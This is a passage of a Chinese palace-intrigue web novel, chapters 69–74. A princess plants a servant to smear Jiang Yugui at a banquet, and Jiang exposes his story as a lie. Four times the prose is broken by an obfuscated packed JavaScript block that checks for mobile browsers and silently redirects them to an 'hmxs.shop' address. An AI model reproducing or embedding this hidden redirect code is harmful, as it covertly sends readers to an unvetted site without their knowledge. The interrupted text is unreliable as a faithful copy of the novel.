而永嘉公主身边的贴身宫女,如同精准的提线木偶,立刻上前半步,微微躬身,用清晰又平稳的声音,能让在场每个人都听得到的音量说道:“殿下,姜氏已经到了,正在给您行礼呢。” “哦?” 永嘉公主仿佛这才恍然大悟,她拖长了尾音,目光重新落在姜于归身上,那表情虚假的如同戏台上的面具,她上下打量着姜于归,目光如同冰冷的刷子:“原来已经到了啊!瞧本宫这记性,光顾着说话大家了,竟没留意你在这里,平身吧。” 这轻描淡写的一句话,将方才那漫长的,刻意施加的折辱,归结为一场无心的疏忽。 永嘉屈尊降贵般抬起手,语气带着施舍的意味:“既然到了,就别杵在这里,平身吧,找个位子坐下。免得一会儿永福妹妹来了,还以为本宫怠慢了......容世子的人。” 那句容世子的人,永嘉公主说的格外缓慢,带着一种说不清道不明的玩味。 姜于归依言直起身,腿部因长久的屈伸而有些微的酸麻,但她身形依旧稳如磐石,没有一丝晃动,甚至没有去看永嘉公主那写满虚假笑意的脸。 她只是抬手理了理并无褶皱的衣袖,动作从容得仿佛刚才只是寻常的行了个礼。 姜于归开口,声音依旧平稳,听不出任何情绪:“谢公主殿下。” 永嘉公主看着她这副油盐不进,仿佛一拳打在棉花上的模样,眼底再次闪过一丝不易察觉的愠怒。 她精心准备的这场下马威,似乎并未达到预期的效果,这个姜于归,比她想象的要沉得住气。 而周围的千金贵女们,见姜于归竟是这般反应,也有些意外,随即交换着更加轻蔑的眼神。 果然是出身低微,毫无廉耻之心,被人如此作践竟也不知羞惭。 暖阁内的气氛,因这无声的交锋,变得愈发微妙和紧绷,丝竹声不知何时悄然响起,试图缓和这凝滞的空气,但在那看似和谐的表象之下,暗流愈发汹涌。 姜于归被引到靠近末尾的一个席位坐下,位置偏僻,几乎隐在柱子的阴影里,她并不在意,反而乐得清静。 秋实站在她身后侧,脸上依旧带着几分懵懂的神色,只是那双看似天真烂漫的眼睛,偶尔会极快的扫过全场,尤其是在永嘉公主及其心腹宫人身上停留一瞬,眼神锐利如鹰,与她那张娃娃脸格格不入。 宴会继续进行着,永嘉公主似乎暂时失去了继续针对姜于归的兴趣,转而与其他贵女说笑,品评诗词,欣赏歌舞。 但姜于归知道,这不过是暴风雨来临前的短暂平静,永福公主尚未到场,真正的风波,恐怕还在后头。 她端起面前的白玉酒杯,里面是琥珀色的果酒,散发着清甜的香气,但她没有喝。 在姜于归眼里,宴会上的所有饮食和酒水,仿佛都被蒙上一层无形的阴影,或许没有毒药,但谁知道会不会有其他的。 毕竟她时刻不敢忘记,这里是永嘉公主的地盘。 在众人和永嘉交谈之际,姜于归偷闲片刻,直到永福公主到来,暖阁的气氛瞬间变得不同。 相较于永嘉公主那带着锋芒与戾气的威仪,永福公主如同一阵清新的春风。 她穿着娇嫩的粉色宫装,裙摆绣着细碎的迎春花,头上簪着配套的珠花,笑起来时眉眼弯弯,颊边两个浅浅的梨涡,全然一副不谙世事的娇憨模样。 她一进来,便亲亲热热的挽住永嘉的手臂叫了声皇姐,随即,那双清澈明亮的眸子便四处打量,寻找姜于归的身影。 直到有人替她指了姜于归所在,永福才松开永嘉的手,几步走到姜于归面前:“这位便是姜娘子吧?” 永福的态度亲切得近乎毫无距离感,上下打量着,语气里满是真诚的赞叹:“果真生得好看,我见犹怜,怪不得能入表哥的眼呢!” 她这般热情,反而让姜于归浑身不自在。 这种姐妹情深的表演,比永嘉直接的恶意更让她难以招架。 她只能垂下眼睫,福身行礼,低声道:“民女参见永福公主殿下。” 永福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010435|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主亲手虚扶了她一下,笑容甜美,压低了声音,又带着几分羞涩的语气靠近姜于归,小声道:“快别多礼了,以后说不定......就是一家人了,何必如此见外?我年纪小,在宫里也闷得慌,日后姜娘子若得了空,可要常来宫里与我说说话才好。” 姜于归听了,心中别扭感更重了,她只能忍受着这份过分的亲切,轻声应道:“公主厚爱,民女不敢当。” 永福公主似乎全然未觉姜于归的僵硬,转身对永嘉及众人笑道:“皇姐,诸位姐姐,干坐着赏梅听曲儿也有些无趣了,不如我们来玩些游戏吧?” 说罢她歪着头,似乎在思索什么游戏合适,一派天真烂漫的模样。 “前几日我在皇姐的府上得知了一个有趣的玩法,叫做飞星逐月,听说在清溪镇一带的集市上很是流行,最考验眼力和手准,可有趣了。” 听到清溪镇三个字,姜于归心头不自觉的跳了跳。 是有心还是无意?或者说,她们已经将姜于归的身份背景打探的清清楚楚了?那眼下永福公主的天真烂漫,也是精妙绝伦的伪装了。 下一刻,永福公主拍了拍手,兴致勃勃的命人将游戏道具呈上来。 太监们抬着轻巧的木架,架子上挂着几个小巧的铜铃,旁边还有宫女捧着一个藤条编织的篮子,里面放着几个颜色鲜亮的藤球。 永福公主介绍着玩法,只要站在规定的起点,用藤球击打木架上的铃铛,打中则计分。 永福笑着,目光自然的转向姜于归,语气亲切得像是在吩咐自家姐妹:“姜娘子,你来自宫外,对这些玩意儿想必更熟悉些,就劳烦你在旁边指点我们,帮我们计分如何?” 这看似合理的安排,却是一种不动声色的贬低,让她从宾客沦为侍从,在众人面前明确其伺候人的地位。 这已经不是暗示,而是明晃晃的将姜于归视作仆役使唤,是彻头彻尾的折辱。 姜于归眼帘低垂,浓密的睫毛在眼下投下一片阴影,遮住了她可能外泄的情绪。姜于归依旧面上无波,闻言上前,声音平稳的开口:“是,民女遵命。” 70. 第 70 章 她正欲走向那放着藤球的篮子,一直安静候着的秋实却猛的抬起了头。 她脸上那副惯常的,懵懂活泼的面具出现了一丝裂痕,眼中闪过一丝真实的焦急。 她几乎是下意识的脱口而出:“这等跑腿拾取的粗活,怎敢劳烦娘子!让奴婢来帮娘子做吧!” 话音刚落,暖阁内的空气仿佛骤然冻结。 永嘉公主脸上的慵懒笑意瞬间消失,取而代之的是一种山雨欲来的阴沉。 她甚至没有看向秋实,那冰冷刺骨的目光如同两道冰锥,直直射向姜于归,声音陡然拔高,带着金石相击般的锐利:“放肆!” 一声厉喝,让在场所有贵女都心头一凛。 “主子们在此说话议事,何时轮到你一个贱婢插嘴?!永福公主金口玉言,也是你能质疑的?” 永嘉公主的指尖重重点在案几上,发出“笃——”的一声闷响,她话语一顿,嘴角勾起一抹极尽刻薄的弧度,目光在姜于归和秋实之间扫过。 “容世子府上的规矩,看来是松懈得不成样子了!还是说......有什么样的主子,就有什么样的奴才,都是一般的不知尊卑,不懂进退!” 这话如同淬毒的鞭子,不仅狠狠抽在秋实身上,更将姜于归也卷入其中,指责她管教无方,甚至影射她本身便是不知尊卑的根源。 秋实脸色煞白,立刻不敢出声。 姜于归的心脏像是被一只无形的手紧紧抓住。 她知道秋实是护主心切,却也因此落入了永嘉的陷阱,她必须独自承受这雷霆之怒。 姜于归再次深深福下身去,姿态放得极低,声音却依旧竭力维持着镇定:“公主殿下息怒,是民女管教不严,冲撞凤驾,民女知错,甘受殿下责罚。” 她将所有的责任揽到自己身上,姿态卑微,让人挑不出错处。 就在这气氛紧绷得几乎要断裂的刹那,永福公主却像是完全没有察觉到这剑拔弩张的氛围,她忽然发出一声惊呼。 “呀!” 随后伸出一根纤纤玉指,指向侍立在暖阁珠帘外侧的一个低眉顺眼的小厮,脸上绽开惊喜无比的笑容,仿佛发现了什么不得了的趣事。 她声音清脆,如同玉珠落盘:“皇姐快看!就是他!前几日就是这个机灵的小厮,教我这个飞星逐月的玩法呢!他说这游戏在他们清溪镇可受欢迎了,几乎人人会玩!” 永福说着,笑吟吟的转过头,那双看似纯净无暇的眼眸,直直的望向姜于归,语气亲切得令人脊背生寒:“姜娘子,你瞧,这可真是巧了!教本宫玩这游戏的小厮,竟也是清溪镇人,你......可认得他?” 永福公主那声你可认得他?如同投入静湖的石子,在暖阁里漾开无形的涟漪。 所有目光,或好奇,或审视,或毫不掩饰的幸灾乐祸,都紧紧锁在姜于归身上。 面对这突如其来的,指向明确的发难,姜于归的心脏在最初的瞬间确实猛的一缩,但她迅速稳住了心神。 姜于归抬起眼,目光平静的掠过那个低眉顺眼的小厮,他的面容陌生,带着底层仆役特有的恭顺与惶恐,看不出任何破绽。 姜于归看向永福公主,脸上没有任何被戳穿秘密的惊慌,反而带着一种坦然的从容,声音清晰,不卑不亢:“回公主殿下,清溪镇虽非盛京京,但亦有方圆数十里,住户商贩往来多不胜数,民女不过一介平民,自然不可能识得镇上每一位乡邻。眼前这位......请恕民女眼拙,此前并未见过。” 她这番回答合情合理,确实让人挑不出错处。 然而,永嘉与永福布下的局,岂会如此简单?永嘉公主嘴角那抹似有若无的冷笑,预示着这件事情还没结束。 那青衣小厮愣了片刻,突然,上前一步,对着姜于归露出了一个带着几分讨好和他乡遇故知般惊喜的笑容,语气热络的说:“姜......姜老板?您不记得小的了?小的......小的以前常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014187|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在集市上,远远瞧见您打理十里香酒肆的英姿呢!咱们清溪镇谁不知道,十里香的姜老板,人长得美,手艺好,性子也爽利!” 他这话一出,如同第二块巨石砸下! 十里香老板?酒肆?抛头露面? 虽然大靖民风并不迂腐,但在盛京这种顶级权贵圈子里,女子经营酒肆,抛头露面,终究是被视为上不得台面的。 在座千金眼中本就浓郁的轻蔑,此刻更是几乎要化为实质。 一个商贾女子,竟也配与她们同席?甚至还攀上了容世子? 但这还没完,那小厮仿佛完全沉浸在他乡遇故知的喜悦中,话匣子打开,继续无心的絮叨起来,语气充满了朴素的感慨。 “说起来,那会儿......那会儿小的还经常看见您和那位名叫林宴的公子一同出行呢!林公子为人正直,对您又照顾,咱们镇上好多人都私下说,您二位站在一起,真真是郎才女貌,是天造地设的一对儿。还以为......嘿嘿......” 他憨厚的笑了笑,挠了挠头,神情真挚,不带一丝恶意。 他口中的林晏公子,就是林晏在清溪镇的名字,他没有说出慕容林晏这个更加彰显身份的称谓,这个细节,让在场诸位千金听来,都觉得更加真实,完全就是一个清溪镇平民视角的叙述。 他的话音刚落,仿佛被一道惊雷劈中,脸上的笑意瞬间僵住,取而代之的是巨大的惊恐和慌乱。 像是突然意识到自己说了不该说的话,猛的用手捂住了自己的嘴,眼睛瞪得老大,惶惶不安的看向永嘉公主,又瑟缩的瞟了一眼姜于归,下一刻“噗通——”一下跪了下去连连磕头。 “小的......小的失言!小的该死!小的忘了......忘了姜老板您如今已经是......是容世子身边的人了!小的胡言乱语,求公主殿下恕罪,求姜老板......不,求娘子恕罪!” 他这番表演,堪称天衣无缝。 71. 第 71 章 先是用朴实的语言,做实姜于归和林晏在清溪镇亲密的过往,紧接着用意识到说错话的惊恐,尖锐的,赤裸裸的挑明了姜于归如今身份的转变,从林晏的红颜知己,变成了容璟的侍妾。 这样强烈的对比,甚至不需要用多语的指控,就足以在所有人心中勾勒出一个水性杨花,攀附富贵的形象。 嗡—— 暖阁内瞬间炸开了锅! 方才还只是隐晦的打量和窃窃私语,此刻已变成了毫不掩饰的指指点点和议论纷纷。 “我听父亲说过,慕容大人去清溪镇查案的时候,确实用的林晏这个名字。” “天呐......原来还是个商贾女子,竟曾抛头露面开酒肆?” “我就说嘛,来历不明,果然不清白。一边和慕容公子牵扯不清,一边又攀上了容世子......” “真是人不可貌相,看着挺清冷一个人,竟如此......如此不安于室。” “慕容公子这才落难多久?她就急不可耐的另投高枝了,真是......啧啧。” 那些目光如同淬了毒的针,从四面八方射来,永嘉公主好整以暇的端起茶杯,而永福公主则是微微睁大那天真的眼睛,仿佛也被这意外的真相所震惊。 姜于归孤立无援的站在中央,感受着鄙夷,讥讽,幸灾乐祸的目光,她仿佛被剥光了衣服,置于众目睽睽之下,接受着所有人的道德审判。 姜于归知道,现在任何的辩解,在这位有乡邻作证的证词面前,都显得苍白无力。 她深呼吸一口气,强迫自己挺直那几乎就要被无形压力压弯的脊梁。 在满堂的指摘与非议声中,姜于归缓缓抬起了头,她的脸上没有预想中的羞愤欲死,也没有泪如雨下,只有一种经历过风暴洗礼后的异常平静。 她没有去看那个演戏的小厮,也没有理会周遭的议论,她的目光,越过众人,再次平静的迎上了永嘉公主那双带着审视与冷嘲的眼睛,以及永福公主那看似无辜,实则洞悉一切的眼眸。 就在那青衣小厮跪的告罪,暖阁内议论声如蚊蝇嗡响,所有人都以为姜于归会羞愤难当,无地自容之际——她却忽然笑了。 那笑声很轻,带着一丝恍然,一丝无奈,甚至还有几分恰到好处的困扰。 她并没有去看那些指指点点的千金,反而将目光重新投回那个跪在地上,瑟瑟发抖的小厮身上,语气平和,甚至带着点探究的意味。 姜于归微微歪了歪头,像是在仔细打量他:“哦?是吗?没想到,我在清溪镇经营酒肆那会儿,竟这般受你关注?连我与哪位友人同行,都被你看在眼里,记在心里。” 姜于归刻意加重了关注二字,语气里的意味瞬间变得微妙起来。 “这位......小哥。” 她语气依旧平稳,却像一把柔软的刀子:“我每日在酒肆迎来送往,见过的乡邻没有一千也有数百,实在记不清每一位,若你当初真有心,大大方方来我十里香喝杯水酒,与我姜于归正大光明的结交,我自是欢迎。只是......” 话锋在此微微一顿,目光扫过全场,将众人那惊疑不定的神色尽收眼底,脸上适时的流露出一种混合着困扰与不解的神情,眉头轻轻蹙起,仿佛遇到了一个让她十分想不通的难题。 “只是我万万没想到,时过境迁,竟会在这盛京城,在公主府的宴席上,听到你用这般......引人遐想的方式,来提醒我这些陈年旧事。” 说到这里,姜于归轻轻叹了口气,那叹息声里充满了无奈:“这倒让我有些苦恼了,莫非是当初无意中拒绝了哪位的心意,才惹来今日这般......特别的惦念?” 姜于归这番话,如同在滚沸的油锅里滴入一滴清水,瞬间炸开!直接将那小厮的证词,从揭露她不贞的铁证,扭转为因求而不得而进行的恶意造谣! 众人知道姜于归这话带着故意的曲解,可是看着她们却又找不出任何理由来反驳。 所有人的脸色顿时变得精彩纷呈,方才那些鄙夷的目光,此刻都带上了惊疑和重新审视的意味。 是啊,一个普通小厮,在清溪镇也就是一个普通的百姓,为何会对一个酒肆老板的行踪如此了若指掌?若非别有用心,怎会记得如此清楚? 永嘉公主的脸色瞬间沉了下来,永福公主那天真的笑容也僵在了脸上。 姜于归却没有停下,她抬起眼,目光不再局限于那小厮,而是朗声开口,声音清晰,足以让暖阁内每一个人都听得清清楚楚。 她脸上那份疑惑更加明显,甚至带着一种近乎天真的不解,目光扫过在场那些脸色难看的千金贵女。 “而且,更让我疑惑的是......我听闻皇帝陛下仁德,体恤百姓,更知女子立世不易,早已明示,我大靖女子,只要遵纪守法,便可凭自身本事经营买卖,养活自己,乃至光耀门楣。此乃陛下圣心,亦是国策。清溪镇远离盛京,可皇恩浩荡,亦能泽被,民女方能凭一双手,开一间小小酒肆,安身立命,从未觉得此事有何不妥,乡邻亦觉寻常。” 她的目光带着真诚的困惑,缓缓从几位刚才非议她商贾女子的千金脸上掠过:“怎么到了这天子脚下,在盛京城内,在诸位深受皇恩 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姜于归依旧站在那里,身姿挺拔,脸上带着那份未曾褪去的疑惑。然而,在她沉静的眼眸深处,一丝冰冷的,属于胜利者的光芒,一闪而过。 就在这片因理亏和震惊而产生的死寂中,一直紧绷着神经的秋实猛的抬起了头。 她脸上那副惯常的,伪装出的懵懂与惶恐,在这一刻被一种发自内心的,难以抑制的激动与自豪所取代,她的眼里面闪烁着几乎是崇拜的光芒,牢牢的锁在自家娘子那挺得笔直的背影上。 太厉害了! 秋实心里仿佛有个小人在用力鼓掌。 她跟在世子身边,见过太多权贵间的机锋较量,却从未见过有那个女子能像姜娘子这般,在如此绝境下,不仅没有被打倒,没有委屈落泪,反而能用这般四两拨千斤的方式,将对方狠狠掀个人仰马翻!而且用的是谁都挑不出错的大道理! 这简直和世子一样强大!不,甚至比世子那种纯粹的,令人窒息的掌控力,更让她觉得心潮澎湃! 世子解决问题,如同冰冷的利刃,精准而残酷。 而姜娘子,她用的却像是带着温度的韧藤,看似柔软,却在关键时刻能爆发出惊人的力量,不仅能抵御攻击,还能巧妙的缠绕,反击,最后甚至能让人感受到一种近乎仁慈的,给对方留有余的的人情味。 秋实只觉得胸口一股郁积的闷气瞬间畅快的吐了出来,方才因自己失言连累娘子而生的愧疚与担忧,此刻都化作了扬眉吐气的酣畅淋漓。 暖阁内,死寂依旧在蔓延。 姜于归能清晰的感受到这气氛的微妙转变。 72. 第 72 章 她知道,自己已经成功用国策堵住了他们的嘴,但是却还是没有完全撕掉那水性杨花的污名。 毕竟她和林宴在清溪镇,确实私下定情,虽然外人不知,但是他们当时清清白白,发乎情,止乎礼。 可是现在,姜于归必须将这一切都否认,因为如果不否认这一段过往,他日若是传到容璟的耳里......姜于归不知道容璟会对已经脱离牢狱的林晏做出什么事。 想到这里,姜于归只觉得心如刀割。 深呼吸一口气,姜于归再次将目光投向那抖如筛糠的小厮,语气变得柔和了许多,带着一种同乡之间才有的,微妙的熟稔与劝诫。 “这位同乡,想来你或许并无恶意,只是同乡一场,在这盛京异地骤然重逢,心中激动,才说了这许多......引人误会的话,仔细想想......我方才追问的那些话,似乎也有些过于较真,显得不近人情了。” 她随即抬起头,目光看向主位上的永嘉公主和永福公主,脸上重新漾开一抹得体而温婉的笑容,那笑容仿佛具有奇异的魔力,瞬间驱散了暖阁内残留的紧张与尴尬气氛。 姜于归微微提高了声音,确保每个人都能听清:“今日毕竟是永福殿下设宴,永嘉殿下做东,本是赏梅品茗的雅集,因我一人之事,扰了诸位姐妹的雅兴,实在是于归的罪过。” 她再次将姿态放低,将责任揽到自己身上,给足了两位公主面子。 “这些许误会,既然说开了,不如......让它过去吧。莫要再因此影响了大家的心情。殿下,这飞星逐月的游戏甚是有趣,不如......我们继续?” 永嘉公主脸色铁青,几乎是从牙缝里挤出一个准字。 永福公主也顺势点头,只是那笑容怎么看都有些勉强。 暖阁内的气氛依旧古怪,丝竹声再起,也驱不散那份尴尬与审视。 姜于归手上拿着笔和册子,站在了木架子旁,她都能猜到,或许待会儿那些藤球,都会不小心丢在她的身上。 但她此刻,脸上却漾开一些许的笑意,那笑意里带着对过往时光的怀念,干净而温暖。 “这游戏还是勾人回忆,民女记得上一次玩这个游戏的时候,还是去年清明的时候呢,当时下雨,客人稀少,便和店里的伙计在后院玩,现在许久不玩,确实有些生疏了。” 姜于归话锋极其自然的一转,目光仿佛才注意到地上那个面如土色的小厮,带着一种半是玩笑,半是惋惜的口吻看向他。 “现在听你这么一说,我才知道,原来同乡你当时竟这般关注我们十里香。早知道你有兴趣,当时就该邀你一起来玩玩了,反正都是街坊邻居,人多也热闹些,何必在外面......一个人远远看着,多没意思?” 她这话,听起来像是热情的邀约,实则是一把裹着糖霜的利刃,每一个字都在暗示,你当时的行迹是如此鬼祟,心思是如此不正,只敢在暗处窥探,却不敢光明正大地结交。 那小厮伏在地上的身体猛的一颤,他感觉到周围所有的目光再次聚焦在他身上,那些目光里充满了怀疑和审视。 他慌了! 他才不能被姜于归扣上被拒绝或行为鬼祟,才因此心生怨恨,从而造谣的嫌疑! 求生的本能让他顾不得细想,几乎是脱口而出,声音因为极度的紧张和急切而显得尖锐又滑稽。 “是......是!小的......小的当时确实很想参加!只是觉得贸然前去,太过唐突,怕......怕打扰了姜老板和伙计们的雅兴,所以就没敢进去,只是在外面看了几眼!” 他这番急切的找补,等于变相承认了姜于归的说法,他当时确实在关注十里香,才知道她和林晏来往密切。 就算承认了关注又如何?大不了被嘲笑一番不自量力,但是更是侧面证实他说的是真的,他就是因为关注,所以知道姜于归和林晏关系斐然。 然后就在小厮这番话说完,姜于归脸上那温和的,带着追忆的笑容瞬间凝固。 她像是突然想到了什么极其荒谬,且完全不合常理的事情,那双清亮的眸子猛的睁大,里面写满了毫不作伪的惊讶与困惑。 她甚至下意识的微微后退了半步,一只手轻轻抬起,指尖虚掩在唇前,做出一副难以置信的姿态。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022923|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咦?” 一个清晰的,带着浓浓疑惑的单音,这个声音不大,却在寂静的暖阁里显得格外刺耳,成功的将在场每一个人游离的注意力瞬间抓回,牢牢的钉在了她的身上。 姜于归的语速放缓,每一个字都像是经过精心打磨的冰珠,一字一顿的砸在青石地上。 “可是......清明那日,我明明记得,我给店里所有伙计都放了假。我想到清明祭祖,所以那时,十里香酒肆店门紧闭,并未营业啊。那你看到的......是什么?” 姜于归带着几分惊悚和诡异的话语,在场胆小的千金直接给吓白了脸,不少人瑟瑟发抖的人已经相互挨在一起。 但姜于归没有给任何人喘息的机会,她脸上的惊讶之色更浓,仿佛遇到了一个百思不得其解的难题,她甚至向前微微倾身,像是要更仔细的看清那小厮脸上每一丝细微的抽搐,语气里的疑惑几乎要满溢出来。 “这位同乡,你口口声声说想参加我们店里的游戏,又怕唐突所以没敢进去,那我倒要请教了,店门都关着,你是在哪里看到我们在后院玩游戏的?又是如何,能生出怕唐突,所以没敢进去的念头呢?!” 轰隆—— 这两句问话,如同两道惊雷,接连劈在暖阁之上! 真相,在此刻水落石出,赤裸裸的呈现在所有人面前! 逻辑链完美闭合!一个根本无法绕开的致命矛盾! 店门紧闭,他就不可能看到后院!更不可能产生想进去又不敢的念头! 那么,他之前所有的话,包括看到姜于归与林宴出行,包括对十里香所谓朴素的关注,在这一刻全都成了彻头彻尾,不攻自破的谎言! 小厮脸色变得僵硬苍白,转而看向永嘉公主,却对上永嘉公主杀人的眼神,小厮险些晕过去。 于是求生的本能压倒了理智,抬起头,脸上是涕泪横流的狼狈与仓皇,声音嘶哑的尖叫道:“不——不是!是小的......是小的记错了!不是清明那天!是......是第二日!对!是第二日看到的!小的糊涂!记混了日子!请公主恕罪!请姜老板明鉴啊!” 73. 第 73 章 这找补如同溺水者胡乱抓住的最后一根稻草,只会让他显得更加可笑与可悲。 因为就在他话音刚落的瞬间,一声极轻的,有些许嘲讽的笑声响起。 “哦?第二日?” 姜于归的目光重新落回小厮那惨无人色的脸上,带着一种近乎残酷的提醒:“那可真是不巧了,我记得,清明时节,想着伙计们一年到头也难得清闲,加上要祭祖,所以我给十里香整整放了三天假呢,这件事情,在清溪镇随便大厅大厅就知道。” 她每一个字都慢悠悠的,却像重锤般砸在小厮的心上。 “第一天,清明,店门紧闭。 第二天,依旧店门紧闭。 第三天,还是店门紧闭。” 姜于归摊了摊手,脸上露出一爱莫能助的神情。 “这位同乡,你这记性真差,怎么偏偏就挑中了这连续三天都根本不可能看到我们在后院玩游戏的日子,来记错呢?” 轰—— 那小厮脑子里最后一丝弦彻底崩断了,他的眼神充满了绝望。 周围已经隐隐响起了压抑不住的嗤笑声,那些贵女们看着小厮的眼神,充满了厌恶,仿佛在看一摊令人作呕的秽物。 而主位之上,永嘉公主的脸色,已经从铁青变成了骇人的煞白,又因极致的愤怒而涌上一股不正常的潮红。 她精心策划的局,她找来的人,不仅没能伤到姜于归分毫,反而成了对方展示智慧的垫脚石,更成了此刻将她永嘉公主的颜面按在地上摩擦的笑柄! 这个蠢货!这成事不足败事有余的废物! 她再也无法维持那表面的平静,胸中的怒火如同火山般喷发! 永嘉公主猛的一拍案几,那力道之大,让上面的杯盏都跟着跳了一下,发出刺耳的碰撞声。 “够了!” 她厉声喝道,声音因为愤怒而微微颤抖,带着不容置疑的森然威压。 她甚至懒得再看那小厮一眼,仿佛多看一眼都会脏了她的眼睛。 永嘉公主凌厉的目光扫向身旁的心腹太监和粗壮嬷嬷,从牙缝里挤出冰冷至极的命令:“把这满口胡言,污人清白的狗东西给本宫拖出去!” “是!” 几个如狼似虎的嬷嬷太监立刻应声上前,动作粗暴的架起那已经软成一滩烂泥的小厮。一块不知从哪里摸出来的汗巾,死死的塞进了他的嘴里,堵住了他所有绝望的呜咽。 他就这样,在众目睽睽之下,像拖一条死狗般,被毫不留情的拖出了暖阁,消失在众人的视线里。 永嘉公主胸口剧烈起伏,她强迫自己不去看姜于归,不去看那些贵女们各异的神色,她知道,今天这场宴会,她输得一败涂地。 而姜于归能清晰的感觉到这些目光的变化,从最初的鄙夷审视,到方才的震惊敬畏,再到此刻,或许夹杂着一丝同情,但更多的,是一种重新评估的距离感。 她知道,她赢了,赢得干净利落,赢得无可指摘。她用智慧和冷静,将泼向自己的污水原封不动的还了回去,甚至借力打力,让幕后主使者也颜面尽失。 一股劫后余生般畅快感窜过她的四肢百骸,那紧绷到极致的神经骤然松弛,让她几乎要控制不住嘴角上扬的弧度。 她想要长舒一口气,想要为这来之不易的胜利感到片刻的欢欣。 然而,这开心的情绪并没有持续多久,在看到那个小厮被强行待下去时,便迅速沉没,消失无踪。 取而代之的,是一种悲哀。 她的目光,不由自主的投向小厮被拖走的方向,尽管那里早已空无一人。 姜于归似乎还能看到他那张因极度恐惧而扭曲的脸,听到他被堵住嘴后发出的含糊不清的绝望哀鸣。 他会没命的。 这个认知,像一块沉重的寒冰,骤然压在她的心口。 她并不想取他性命,她只想自保,可在这权力的棋局里,小厮的失败,往往就意味着被弃之如敝履,甚至被彻底毁灭。 姜于归赢了这场仗,手上却仿佛间接沾染了血污,这份胜利的滋味,变得复杂而苦涩,带着一丝若有若无的铁锈味。 她微微垂眸,微微抿紧那失去血色的唇,周身散发出低落与沉寂,却未能完全逃过一直密切关注着她的秋实的眼睛。 那不是胜利后的喜悦,而是一种悲凉与沉重。 秋实犹豫了一下,趁着无人注意,用只有两人能听到的声音,在姜于归身后低低的说了一句:“娘子,这不怪您。” 这短短一句话像是一道微弱却坚定的光,刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029761|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破了姜于归心中那团混乱的阴霾。 而秋实的声音继续传来,依旧低微,却字字清晰:“他对您下死手的时候,可没有半分愧疚之心。” 姜于归猛的惊醒过来,如同被一盆冷水从头浇下,瞬间驱散了那不合时宜的悲悯与愧疚。 她想起那小厮看似朴实,实则句句恶毒的将她与水性杨花捆绑在一起时的模样,以及他刻意引导众人,想象她与林宴关系匪浅时的险恶用心。 他今日站在这里,就是一把被精心打磨过的,要置她于死地的刀。 若她今日输了,等待她的会是什么?是被众人的唾沫淹死?是被永嘉公主名正言顺的处置?那个时候,这个小厮,可会对他即将造成的一条人命有半分愧疚?! 不会。他只会庆幸自己完成了任务,或许还能得到主子的赏赐。 对敌人仁慈,就是对自己残忍。在这吃人的深渊里,她若心存不必要的软弱,下一刻死无葬身之地的,就是她自己! 这些道理她何尝不明白,她只是,有点儿难以接受罢了。 于是姜于归低声回应着秋实:“我明白,谢谢。” 之后,脸上再次恢复了之前的平静与从容。 姜于归看向主位,姿态恭谨却不再卑微,仿佛刚才的一切都未曾发生。 “殿下,游戏还继续吗?” 姜于归再次把话题拉回了最初的游戏上,即便她知道,这场游戏对她带着明显的针对,但她似乎毫不畏惧。 暖阁内凝滞的空气,仿佛因她这番话而重新开始流动。 那些贵女们面面相觑,虽心思各异,却也只能顺着这看似缓和下来的台阶,将目光重新投向那挂着铜铃的木架和色彩鲜艳的藤球,等待着上位者的最终决断。 永嘉公主胸腔剧烈的起伏了一下,指甲深深掐入掌心,才勉强压下那几乎要冲口而出的怒斥。 她死死的盯着姜于归,眼神冰冷如刀,其中翻涌着被冒犯的震怒。 这个女子,远比她想象的更难对付,不仅牙尖嘴利,更懂得利用大势,站在道德的制高点上,让她这金枝玉叶一时也难以用权势直接碾压。 而永福公主在短暂的僵硬后,脸上那天真的笑容重新浮现,只是那笑容底下,多了几分难以言喻的深沉。 74. 第 74 章 她拍手笑道:“姜娘子说得是,不过是一场误会,说开便好了。皇姐,我们还是继续游戏吧?莫要为了些许小事,扫了大家的兴。” 永嘉公主从鼻子里轻轻哼出一声,算是默许。 